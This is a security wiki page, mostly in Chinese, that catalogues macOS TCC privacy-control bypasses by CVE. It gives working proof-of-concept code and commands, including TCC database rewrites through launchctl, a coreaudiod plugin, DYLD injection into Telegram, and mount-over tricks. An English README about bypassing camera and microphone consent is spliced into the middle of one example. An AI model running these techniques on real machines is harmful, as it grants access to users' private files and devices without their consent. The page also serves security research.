macOS TCC Bypasses

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

按功能分类

写入绕过

这不是绕过,这只是TCC的工作原理:它不会阻止写入。如果终端无法访问用户的桌面以读取内容,它仍然可以写入其中

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

扩展属性 com.apple.macl 被添加到新的 文件 中,以便让 创建者的应用 能够读取它。

TCC 点击劫持

可以将一个窗口覆盖在 TCC 提示框上,使用户在不知情的情况下接受它。您可以在 TCC-ClickJacking** 中找到一个 PoC**。

通过任意名称请求 TCC

攻击者可以在 Info.plist 中创建任何名称的应用程序(例如 Finder、Google Chrome...),并让其请求访问某些受 TCC 保护的位置。用户会认为请求此访问权限的是合法应用程序。 此外,可以将合法应用程序从 Dock 中移除,并将伪造的应用程序放在其中,因此当用户点击伪造的应用程序(可以使用相同的图标)时,它可能调用合法应用程序,请求 TCC 权限并执行恶意软件,使用户相信是合法应用程序请求了访问权限。

更多信息和 PoC 请参阅:

SSH 绕过

默认情况下,通过 SSH 访问 具有 "完全磁盘访问权限"。为了禁用此权限,您需要将其列出但禁用(从列表中删除它不会删除这些权限):

在这里,您可以找到一些恶意软件如何绕过此保护的示例:

请注意,现在,为了能够启用 SSH,您需要完全磁盘访问权限

处理扩展名 - CVE-2022-26767

属性 com.apple.macl 被赋予文件以赋予某个应用程序读取权限。当拖放文件到应用程序上或用户双击文件以使用默认应用程序打开文件时,将设置此属性。

因此,用户可以注册一个恶意应用程序来处理所有扩展名,并调用启动服务来打开任何文件(因此恶意文件将被授予读取权限)。

iCloud

授权 com.apple.private.icloud-account-access 可以与 com.apple.iCloudHelper XPC 服务通信,后者将提供 iCloud 令牌

iMovieGarageband 具有此授权以及其他授权。

有关从该授权中获取 iCloud 令牌的漏洞的更多信息,请查看演讲:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / 自动化

具有 kTCCServiceAppleEvents 权限的应用程序将能够控制其他应用程序。这意味着它可能能够滥用授予其他应用程序的权限

有关 Apple 脚本的更多信息,请查看:

例如,如果一个应用程序具有iTerm 的自动化权限,例如在此示例中**Terminal** 对 iTerm 有访问权限:

对 iTerm 的控制

没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm,并使用它执行操作:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

macOS TCC Bypasses

Introduction

This repository contains various macOS TCC (Transparency, Consent, and Control) bypass techniques. TCC is a macOS security feature that protects user privacy by requesting user approval before allowing applications to access certain sensitive data.

Contents

  1. bypass-photos-library.md: This file explains a technique to bypass TCC restrictions and access the Photos library without user consent.

  2. bypass-microphone.md: Here, you can find a method to bypass TCC controls and access the microphone without user authorization.

  3. bypass-camera.md: Learn how to bypass TCC limitations and access the camera without user permission.

  4. bypass-location-services.md: This document details a method to bypass TCC settings and access location services without user acknowledgment.

  5. bypass-screen-recording.md: Find out how to bypass TCC security measures and perform screen recording without user awareness.

Disclaimer

These techniques are for educational purposes only. Misuse of these bypass methods may violate laws and regulations.

osascript iterm.script

通过Finder

或者,如果一个应用程序可以通过Finder访问,它可以执行类似这样的脚本:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

通过应用程序行为

CVE-2020–9934 - TCC

用户空间的 tccd 守护程序 使用 HOME env 变量来访问 TCC 用户数据库:$HOME/Library/Application Support/com.apple.TCC/TCC.db

根据这篇 Stack Exchange 帖子,由于 TCC 守护程序通过 launchd 在当前用户域内运行,可以控制传递给它的所有环境变量。 因此,攻击者可以在 launchctl 中设置 $HOME 环境 变量指向一个受控 目录重新启动 TCC 守护程序,然后直接修改 TCC 数据库,从而获得所有可用的 TCC 权限,而无需提示最终用户。 PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notes

Notes可以访问TCC受保护的位置,但是当创建一个笔记时,它会创建在一个非受保护的位置。因此,您可以要求Notes将受保护的文件复制到一个笔记中(因此在非受保护的位置),然后访问该文件:

CVE-2021-30782 - Translocation

二进制文件/usr/libexec/lsd与库libsecurity_translocate具有授权com.apple.private.nullfs_allow,允许其创建nullfs挂载,并具有授权com.apple.private.tcc.allow与**kTCCServiceSystemPolicyAllFiles**以访问每个文件。

可以向“Library”添加隔离属性,调用**com.apple.security.translocation** XPC服务,然后它会将Library映射到**$TMPDIR/AppTranslocation/d/d/Library,其中Library中的所有文档都可以访问**。

CVE-2023-38571 - 音乐和电视

**Music有一个有趣的功能:当它运行时,它会将拖放到~/Music/Music/Media.localized/Automatically Add to Music.localized的文件导入到用户的“媒体库”中。此外,它调用类似于:rename(a, b);**其中ab为:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

这个**rename(a, b);行为容易受到竞争条件的影响,因为可以将一个伪造的TCC.db文件放入Automatically Add to Music.localized文件夹中,然后当创建新文件夹(b)时,复制文件,删除它,并将其指向~/Library/Application Support/com.apple.TCC**。

SQLITE_SQLLOG_DIR - CVE-2023-32422

如果**SQLITE_SQLLOG_DIR="path/folder"基本上意味着任何打开的数据库都会被复制到该路径**。在这个CVE中,滥用了这个控制,以便在将要由带有FDA TCC数据库的进程打开的SQLite数据库写入,然后通过在文件名中创建符号链接滥用**SQLITE_SQLLOG_DIR,因此当打开该数据库时,用户的TCC.db被覆盖**。

更多信息在写作中在讲座中

SQLITE_AUTO_TRACE

如果设置了环境变量**SQLITE_AUTO_TRACE,库libsqlite3.dylib将开始记录**所有SQL查询。许多应用程序使用了这个库,因此可以记录它们所有的SQLite查询。

几个苹果应用程序使用了这个库来访问TCC受保护的信息。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

这个环境变量被Metal框架使用,这是各种程序的依赖,尤其是Music,它有FDA。

设置以下内容:MTL_DUMP_PIPELINES_TO_JSON_FILE="路径/名称"。如果路径是一个有效的目录,该漏洞将被触发,我们可以使用fs_usage查看程序的运行情况:

  • 一个文件将被open(),名为路径/.dat.nosyncXXXX.XXXXXX(X为随机值)

  • 一个或多个write()将内容写入文件(我们无法控制)

  • 路径/.dat.nosyncXXXX.XXXXXX将被rename()路径/名称

这是一个临时文件写入,接着是一个不安全的rename(old, new)

这是不安全的,因为它必须分别解析旧路径和新路径,这可能需要一些时间,并且容易受到竞争条件的影响。更多信息可以查看xnu函数renameat_internal()

所以,基本上,如果一个特权进程正在从你控制的文件夹重命名,你可以获得一个RCE,并让它访问不同的文件,或者像在这个CVE中那样,打开特权应用程序创建的文件并存储一个FD。

如果重命名访问你控制的文件夹,同时你已经修改了源文件或者有一个FD指向它,你可以将目标文件(或文件夹)更改为指向符号链接,这样你可以随时写入。

这是CVE中的攻击示例:例如,为了覆盖用户的TCC.db,我们可以:

  • 创建/Users/hacker/ourlink指向/Users/hacker/Library/Application Support/com.apple.TCC/

  • 创建目录/Users/hacker/tmp/

  • 设置MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db

  • 运行Music时使用这个环境变量触发漏洞

  • 捕获/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXXopen()(X为随机值)

  • 在这里我们也为写入打开这个文件,并保留文件描述符

  • 在一个循环中原子地将/Users/hacker/tmp切换为/Users/hacker/ourlink

  • 我们这样做是为了最大化我们成功的机会,因为竞争窗口非常狭窄,但是失败的风险可以忽略不计

  • 等一会儿

  • 测试我们是否幸运

  • 如果没有,从头再来

更多信息请查看https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

现在,如果你尝试使用环境变量MTL_DUMP_PIPELINES_TO_JSON_FILE,应用程序将无法启动

Apple 远程桌面

作为root用户,你可以启用这项服务,ARD代理将具有完全磁盘访问权限,用户可以利用这一点让其复制一个新的TCC用户数据库

通过 NFSHomeDirectory

TCC在用户的HOME文件夹中使用一个数据库来控制用户特定资源的访问,路径为**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。 因此,如果用户设法使用指向不同文件夹的$HOME环境变量重新启动TCC,用户可以在**/Library/Application Support/com.apple.TCC/TCC.db**中创建一个新的TCC数据库,并欺骗TCC授予任何应用程序任何TCC权限。

请注意,苹果使用存储在用户配置文件中的设置来确定**NFSHomeDirectory属性的值为$HOME,因此,如果你入侵了一个具有修改此值权限的应用程序(kTCCServiceSystemPolicySysAdminFiles**),你可以利用这个选项进行TCC绕过。

CVE-2021-30970 - Powerdir

第一个POC使用dsexportdsimport来修改用户的HOME文件夹。

  1. 为目标应用程序获取一个_csreq_ blob。

  2. 放置一个带有所需访问权限和_csreq_ blob的假_TCC.db_文件。

  3. 使用dsexport导出用户的目录服务条目。

  4. 修改目录服务条目以更改用户的主目录。

  5. 使用dsimport导入修改后的目录服务条目。

  6. 停止用户的_tccd_并重新启动该进程。

第二个POC使用了**/usr/libexec/configd,其中具有值为kTCCServiceSystemPolicySysAdminFilescom.apple.private.tcc.allow权限。 通过使用-t选项运行configd,攻击者可以指定一个自定义Bundle来加载**。因此,该漏洞利用configd代码注入替换了更改用户主目录的**dsexportdsimport**方法。

更多信息请查看原始报告

通过进程注入

有不同的技术可以注入代码到一个进程中并滥用其TCC权限:

此外,最常见的绕过TCC的进程注入技术是通过插件(加载库)。 插件通常以库或plist的形式存在,将由主应用程序加载并在其上下文中执行。因此,如果主应用程序有权限访问TCC受限文件(通过授予的权限或权限),自定义代码也将具有这些权限

CVE-2020-27937 - Directory Utility

应用程序/System/Library/CoreServices/Applications/Directory Utility.app具有权限**kTCCServiceSystemPolicySysAdminFiles,加载带有.daplug扩展名的插件,并且没有启用**强化运行时。

为了利用这个CVE,NFSHomeDirectory被更改(滥用之前的权限)以便能够接管用户的TCC数据库以绕过TCC。

更多信息请查看原始报告

CVE-2020-29621 - Coreaudiod

二进制文件 /usr/sbin/coreaudiod 具有权限 com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager。第一个权限允许代码注入,第二个权限允许其访问管理 TCC

该二进制文件允许从文件夹 /Library/Audio/Plug-Ins/HAL 加载第三方插件。因此,可以使用以下 PoC 加载插件并滥用 TCC 权限

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

有关更多信息,请查看原始报告

设备抽象层(DAL)插件

通过 Core Media I/O 打开摄像头流的系统应用程序(具有 kTCCServiceCamera 的应用程序)在进程中加载位于 /Library/CoreMediaIO/Plug-Ins/DAL 中的这些插件(不受 SIP 限制)。

只需在那里存储一个具有常见 构造函数 的库即可用于 注入代码

几个 Apple 应用程序对此存在漏洞。

Firefox

Firefox 应用程序具有 com.apple.security.cs.disable-library-validationcom.apple.security.cs.allow-dyld-environment-variables 权限:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

CVE-2020-10006

二进制文件 /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl 具有权限 com.apple.private.tcc.allowcom.apple.security.get-task-allow,这允许注入代码到进程中并使用 TCC 权限。

CVE-2023-26818 - 电报

电报具有权限 com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation,因此可以滥用它来获取其权限,例如使用摄像头录制。您可以在写作中找到有效载荷

请注意如何使用环境变量加载库,创建了一个自定义 plist 来注入此库,并使用 launchctl 来启动它:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

通过打开调用

即使在沙盒环境中,也可以调用**open**

终端脚本

通常会为终端授予完全磁盘访问权限(FDA),至少在技术人员使用的计算机上是这样。可以使用它来调用**.terminal**脚本。

.terminal 脚本是类似于以下带有要在**CommandString**键中执行的命令的属性列表文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

一个应用程序可以在诸如 /tmp 这样的位置编写一个终端脚本,并使用如下命令启动它:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

通过挂载

CVE-2020-9771 - mount_apfs TCC绕过和提权

任何用户(甚至是非特权用户)都可以创建和挂载一个时间机器快照,并访问该快照的所有文件。 唯一需要的特权是所使用的应用程序(如Terminal)需要具有完全磁盘访问权限(FDA)(kTCCServiceSystemPolicyAllfiles),这需要由管理员授予。

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

更详细的解释可以在原始报告中找到

CVE-2021-1784 & CVE-2021-30808 - 挂载到 TCC 文件上

即使 TCC DB 文件受到保护,也有可能挂载到目录一个新的 TCC.db 文件:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

查看原始报告中的完整利用

asr

工具**/usr/sbin/asr**允许复制整个磁盘并在另一个位置挂载,绕过了TCC保护。

位置服务

在**/var/db/locationd/clients.plist中有第三个TCC数据库,用于指示允许访问位置服务的客户端。 文件夹/var/db/locationd/没有受到DMG挂载的保护**,因此可以挂载我们自己的plist。

通过启动应用程序

通过grep

在许多情况下,文件会在非受保护的位置存储敏感信息,如电子邮件、电话号码、消息...(这被视为苹果的一个漏洞)。

合成点击

这种方法不再有效,但在过去曾经有效

另一种方法是使用CoreGraphics事件

参考

最后更新于